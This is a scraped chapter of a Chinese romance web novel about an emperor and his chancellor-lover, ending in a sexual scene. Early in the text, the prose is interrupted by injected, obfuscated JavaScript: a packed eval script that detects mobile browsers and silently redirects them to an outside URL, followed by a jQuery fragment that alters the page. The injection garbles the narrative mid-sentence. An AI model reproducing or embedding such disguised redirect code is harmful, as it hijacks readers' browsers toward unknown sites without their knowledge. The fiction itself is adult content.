景煦一大早上朝本就心烦,刚下朝就被迫见了一群难以言喻的男人,气的他罚了几位朝臣半年的俸禄。 果然脾气太好会让人蹬鼻子上脸,景煦忿忿地想。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957029|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 没想到第二天,景煦下了朝就顶着满脸怨念,将龙床上还没睡醒的人一把捞起,气势汹汹地咬了一口宓安的脸。 到底也没敢用力,只留了一个浅的不能再浅的牙印。 “唔……做什么?” 宓安睡眼惺忪,蹭了蹭景煦,又亲了一口。 景煦被他猫一样的小动作取悦,怨气也没那么重了,趴在宓安肩头委屈道:“阿宓同别人说什么了?为什么他们都说是你的意思?” “什么?”宓安还没睡醒,闭着眼睛问道。 “户部侍郎说……”景煦咬牙切齿,一字不差地复述,“‘是宓相提醒臣等,可以向陛下引见男子’。” 宓安:“……” 神智回笼后,宓安忽然想起那日他在将军府随口说敷衍的话。 “胡说八道。”宓安抬手搂住景煦,“竟敢污蔑我!” 景煦眼神幽幽地看着他,朝臣胆子再大也不敢杜撰污蔑当朝丞相,一定是宓安说了什么,才让他们误会了意思。 宓安与他对视,半晌,没忍住笑出了声,败下阵来。 “我就知道。”景煦用力吻上他的唇,含在嘴里好好碾了碾,既无奈又委屈,“我要生气了。” 宓安几乎笑出了眼泪:“我可没让他们送人进宫,我那日只是被吵得头疼,随口说了句你可能喜欢男子,谁知他们自作主张曲解我的意思,我这就去骂他们。” “哼。” 宓安好笑地拍了拍景煦的头,任他在自己身上蹭着:“送来几个?” 景煦不愿回答,闷声闷气地道:“一群。” “真是不像话,让暗卫去把将军府守住,不许人上门拜访。”宓安冒着被亲爹打断腿的风险口出狂言,“来一个打一个。” 景煦被他逗笑,无奈道:“算了,我怕挨岳父大人的打。” 宓安被他压着,两人安静许久,忽然又翻起了旧账:“今日这些,和雄山时孔志平的那些比,如何啊?” 景煦:“?” 他撑起身,满眼不敢置信:“几年了?怎么这旧账还能翻出来?” 宓安歪了歪头:“这才几年?你儿时在宫里不理我的旧账我照样会翻。” 景煦忍无可忍,挥手放下了床帐,手向宓安腰上伸去。 “你做什么?大白日里……” 景煦带着笑意:“那日阿宓不是说想要白日宣淫?此时正好。” “你不是拒绝了……”宓安的衣裳被扒了大半,聊胜于无地掩着一角被子,“现在已经晚了。” 景煦拉开被子,熟练地挑开几条衣带,根本不打算和宓安争论无谓的事,目的明确地上下其手。 “景长昱……唔……别……” 门外暗卫自觉远离,送膳的宫人被王顺拦住,装聋作哑地一起离开了。 “不许……” 景煦充耳不闻,轻声道:“我让他们去找个正经营生,实在不行也可以留在宫里跟着王顺。” 宓安被他握住了腿,动弹不得:“谁要听这个……” “雄山那些被孔志平强迫的,交给谭忍冬处理了。” “你一定要在这个时候说正事吗……” “还有被孔志平骗过的女子,若有才能,可以和谭忍冬一起推行女官新制。” “我知道了。”宓安踢了景煦一脚,“这种事能不能坐下来好好说?” 景煦笑着咬住宓安胸口,惊起身下之人一阵战栗:“有什么区别?和你坐下来好好说的时候,我脑子里也是这种事。不如边做边说。” “唔嗯……” 宓安被他的冲撞折磨得字不成句,有气无力地骂道:“昏君。” “我是。”